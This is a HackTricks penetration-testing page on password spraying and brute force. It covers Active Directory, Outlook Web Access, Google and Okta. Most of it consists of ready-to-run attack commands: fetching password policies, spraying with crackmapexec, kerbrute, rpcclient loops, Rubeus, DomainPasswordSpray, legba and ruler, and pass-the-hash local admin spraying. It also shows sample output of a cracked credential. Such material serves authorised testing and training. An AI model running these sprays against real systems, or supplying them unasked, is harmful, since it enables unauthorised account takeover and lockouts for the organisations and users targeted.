hacktricks/windows-hardening/active-directory-methodology/password-spraying.md

# Password Spraying / Brute Force

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## **Password Spraying**

Once you have found several **valid usernames** you can try the most **common passwords** (keep in mind the password policy of the environment) with each of the discovered users.\
By **default** the **minimum** **password** **length** is **7**.

Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)

Notice that you **could lockout some accounts if you try several wrong passwords** (by default more than 10).

### Get password policy

If you have some user credentials or a shell as a domain user you can **get the password policy with**:

```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10; 
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview
```

### Exploitation from Linux (or all)

* Using **crackmapexec:**

```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```

* Using [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)

```bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```

* [**spray**](https://github.com/Greenwolf/Spray) _**(you can indicate number of attempts to avoid lockouts):**_

```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```

* Using [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK

```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```

* With the `scanner/smb/smb_login` module of **Metasploit**:

![](<../../.gitbook/assets/image (132) (1).png>)

* Using **rpcclient**:

```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do 
    rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done
```

#### From Windows

* With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module:

```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```

* With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (It can generate users from the domain by default and it will get the password policy from the domain and limit tries according to it):

```powershell
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```

* With [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)

```
Invoke-SprayEmptyPassword
```

## Brute Force

{% code overflow="wrap" %}
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
{% endcode %}

## Outlook Web Access

There are multiples tools for p**assword spraying outlook**.

* With [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/)
* with [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/)
* With [Ruler](https://github.com/sensepost/ruler) (reliable!)
* With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
* With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)

To use any of these tools, you need a user list and a password / a small list of passwords to spray.

```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
    [x] Failed: larsson:Summer2020
    [x] Failed: cube0x0:Summer2020
    [x] Failed: a.admin:Summer2020
    [x] Failed: c.cube:Summer2020
    [+] Success: s.svensson:Summer2020
```

## Google

* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)

## Okta

* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
* [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
* [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)

## References

* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
* [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
* [www.blackhillsinfosec.com/?p=5296](www.blackhillsinfosec.com/?p=5296)
* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

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